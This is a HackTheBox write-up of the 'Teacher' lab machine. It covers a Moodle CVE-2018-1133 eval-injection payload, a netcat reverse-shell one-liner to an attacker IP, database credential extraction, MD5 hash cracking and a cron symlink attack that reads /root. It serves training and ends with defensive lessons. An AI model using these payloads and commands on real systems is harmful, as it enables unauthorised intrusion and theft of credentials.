Teacher - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Teacher is a medium-difficulty machine that demonstrates the exploitation of logical flaws and outdated modules within Moodle CMS. The attack chain involves discovering partial credentials through hidden messages in image metadata, brute-forcing the web application, leveraging CVE-2018-1133 for remote code execution via the quiz module’s unsafe eval() function, extracting database credentials from configuration files, cracking password hashes, and finally exploiting a symlink misconfiguration in a root-owned backup script to gain full system compromise.

TL;DR: Hidden credentials → Moodle brute-force → CVE-2018-1133 RCE (eval injection) → Database access → Hash cracking → SSH as giovanni → Symlink attack on backup.sh cronjob → Root access

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.153

Results:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 (Debian)

Only HTTP service is exposed. The web server identifies itself as running on Debian Linux with Apache 2.4.25.

Service Enumeration

Web Server Analysis:

Accessing the HTTP service reveals a static web portal for “Blackhat highschool” describing a new homework submission system. Examination of the teachers page shows a broken image reference.

Source Code Analysis:

Inspecting the HTML source reveals the image link points to valid content, but it contains a hidden message rather than an image data. The message is from a user to the ServiceDesk team and contains partial credentials:

Partial Password: Th4C00lTheacha#
User: Giovanni

CMS Discovery:

Directory enumeration identifies a Moodle CMS installation at:

http://10.10.10.153/moodle/

Vulnerability Assessment

Initial Foothold

Step 1: Credential Discovery and Brute-Forcing

With the partial password Th4C00lTheacha# and username giovanni, a brute-force attack is conducted against the Moodle login:

# Using hydra to brute-force the remaining password
# Known: giovanni:Th4C00lTheacha#?
# Testing variations of the partial password

Valid Credentials Discovered:

Username: giovanni
Password: Th4C00lTheacha#

User giovanni is confirmed to have the teacher role within Moodle.

Step 2: CVE-2018-1133 Exploitation

The Moodle CMS uses a vulnerable “calculated” question type in the quiz module. The vulnerability exists in /var/www/html/moodle/question/type/calculated/questiontype.php:

public function substitute_variables_and_eval($str, $dataset) {
    $formula = $this->substitute_variables($str, $dataset);
    if ($error = qtype_calculated_find_formula_errors($formula)) {
        return $error;
    }
    // Calculate the correct answer.
    if (empty($formula)) {
        $str = '';
    } else if ($formula === '*') {
        $str = '*';
    } else {
        $str = null;
        eval('$str = '.$formula.';'); // ← VULNERABLE: No input sanitization
    }
    return $str;
}

The eval() function executes unsanitized user input, allowing arbitrary PHP code execution.

Step 3: Quiz and Payload Creation

Log in as giovanni and create a new quiz:

1. Navigate to Moodle course management
2. Create a new quiz with mandatory fields filled
3. Add a new “Calculated” type question
4. In the answer field, inject the malicious payload:

/*{a*/`$_GET[0]`;//{x}}

This payload breaks out of the mathematical formula context and allows command execution via the $_GET[0] parameter.

Step 4: Remote Code Execution

Execute commands by accessing the quiz page with a URL-encoded payload:

# Example: executing 'id' command
# URL: http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=%69%64

# Establish reverse shell
# Payload (decoded): rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9001 >/tmp/f

This grants www-data shell access on the system.

Privilege Escalation

Step 1: Database Credential Extraction

From the www-data shell, access the Moodle configuration file:

www-data@teacher:/var/www/html/moodle$ cat config.php

Database Credentials Found:

Database: moodle
User: root
Password: Welkom1!

Step 2: Database Enumeration and Hash Cracking

Connect to MariaDB and query the users table:

www-data@teacher:/var/www/html/moodle$ mysql -u root -p
# Enter password: Welkom1!

MariaDB [(none)]> use moodle;
MariaDB [moodle]> SELECT id, username, password FROM mdl_user\G

Output:

id: 1337
username: Giovannibak
password: 7a860966115182402ed06375cf0a22af (MD5 hash)

Crack the MD5 hash using hashcat:

hashcat --force Giovannibak.hash /usr/share/wordlists/rockyou.txt -m 0

Hash Cracked:

7a860966115182402ed06375cf0a22af : expelled

Backup Account Credentials:

Username: Giovannibak
Password: expelled

Step 3: SSH Access as giovanni

The cracked password expelled works for the system user giovanni:

www-data@teacher:/home$ su - giovanni
Password: expelled

giovanni@teacher:~$ cat user.txt
<redacted>

Step 4: Symlink Exploitation for Root

Examine the backup script executed by root cronjob:

giovanni@teacher:~$ cat /usr/bin/backup.sh
#!/bin/bash
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;

The script:

1. Archives the /home/giovanni/work/courses directory
2. Extracts it to /home/giovanni/work/tmp
3. Sets world-readable permissions

Exploit:

Replace the courses directory with a symlink pointing to /root:

giovanni@teacher:~/work$ ls -la
# drwxr-xr-x courses (writable by giovanni)

giovanni@teacher:~/work$ mv courses courses.bak
giovanni@teacher:~/work$ ln -s /root courses
giovanni@teacher:~/work$ ls -la courses
# lrwxrwxrwx courses -> /root

When the cronjob runs, it will archive and extract the entire /root directory into /home/giovanni/work/tmp with world-readable permissions:

giovanni@teacher:~/work$ cd tmp && ls -la
# -rwxrwxrwx backup_courses.tar.gz
# drwxrwxrwx courses/

giovanni@teacher:~/work/tmp/courses$ cat root.txt
<redacted>

Attack Chain Summary

Partial Credentials in Image Metadata
    ↓
Brute-Force Moodle Login (giovanni:Th4C00lTheacha#)
    ↓
CVE-2018-1133: Calculated Question RCE via eval()
    ↓
www-data Shell Access
    ↓
Extract Database Credentials from config.php (root:Welkom1!)
    ↓
Query Moodle Users Table, Find Giovannibak Hash
    ↓
Crack MD5 Hash: expelled
    ↓
su - giovanni (using cracked password)
    ↓
Identify Backup Script Cronjob Misconfiguration
    ↓
Symlink /home/giovanni/work/courses → /root
    ↓
Cronjob Executes: Archives /root and Extracts with 777 Permissions
    ↓
Read root.txt from /home/giovanni/work/tmp/courses/
    ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• Website source code analysis and metadata inspection
• Credential brute-forcing against web applications
• CMS vulnerability research (Moodle CVE-2018-1133)
• Remote code execution via unsafe eval() functions
• Database enumeration and credential extraction from configuration files
• Password hash cracking using dictionary attacks
• Privilege escalation via symlink misconfigurations in cronjobs
• Understanding file permission inheritance in backup scripts

Lessons Learned

1. Hidden Metadata: Always inspect image sources and comments in web pages; sensitive information may be embedded in non-rendered content.

2. Outdated Software Risk: Moodle 3.4 contained a well-known RCE vulnerability—keeping CMS versions current is critical.

3. Input Sanitization: The eval() function should never be used with user-controlled input. Alternative expression evaluators with sandboxing should be employed.

4. Configuration File Security: Hardcoded database credentials in PHP config files pose a direct path to privilege escalation if web application is compromised.

5. Hash Diversity: MD5 hashes without salt are vulnerable to dictionary attacks. Modern password storage requires bcrypt, scrypt, or Argon2.

6. Symlink Attacks: Backup and maintenance scripts running as root must validate symlinks or use restrictive permissions to prevent directory traversal attacks.

7. Cronjob Permissions: World-readable file permissions (chmod 777) set by scripts create direct privilege escalation paths for lower-privileged users.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>